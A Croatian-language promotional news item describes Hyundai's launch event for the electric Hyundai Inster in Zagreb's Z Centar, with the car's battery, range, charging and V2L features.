Hyundai je sinoć u impresivnom pop-up showroomu unutar zagrebačkog Z Centra, pred više od 150 uzvanika iz javnog i poslovnog sektora, svečano predstavio svoj najnoviji električni model Hyundai Inster.

Event pod nazivom „Are You IN?“ otvorila je poznata voditeljica Ana Radišić, pozivajući uzvanike da izađu iz svoje zone komfora i zakorače u novu eru električne mobilnosti. Uvodni multimedijalni show naglasio je jedinstvenu urbanu pozadinu Instera, dok je Domagoj Burić, Country Manager Hyundai Hrvatska, u svojoj prezentaciji istaknuo ključne prednosti modela. Uzvanici su tijekom večeri imali priliku istražiti automobil izbliza te uživati u neformalnom druženju uz raznovrsne aktivnosti i demonstracije tehnoloških rješenja koja ovaj automobil čine jedinstvenim u svojoj klasi.

Osim upečatljivog dizajna, Inster je postavio ljestvicu visoko i po pitanju performansi. Opremljen baterijom od 49 kWh, ovaj kompaktni gradski električni SUV nudi impresivni doseg do čak 370 kilometara s jednim punjenjem te se ističe brzim punjenjem od 10 do 80 posto u samo 30 minuta. Dodatnu praktičnost pružaju funkcije poput Vehicle-to-Load (V2L), koje omogućavaju korištenje baterije za napajanje vanjskih uređaja, čineći ovaj model idealnim suputnikom u svim životnim avanturama.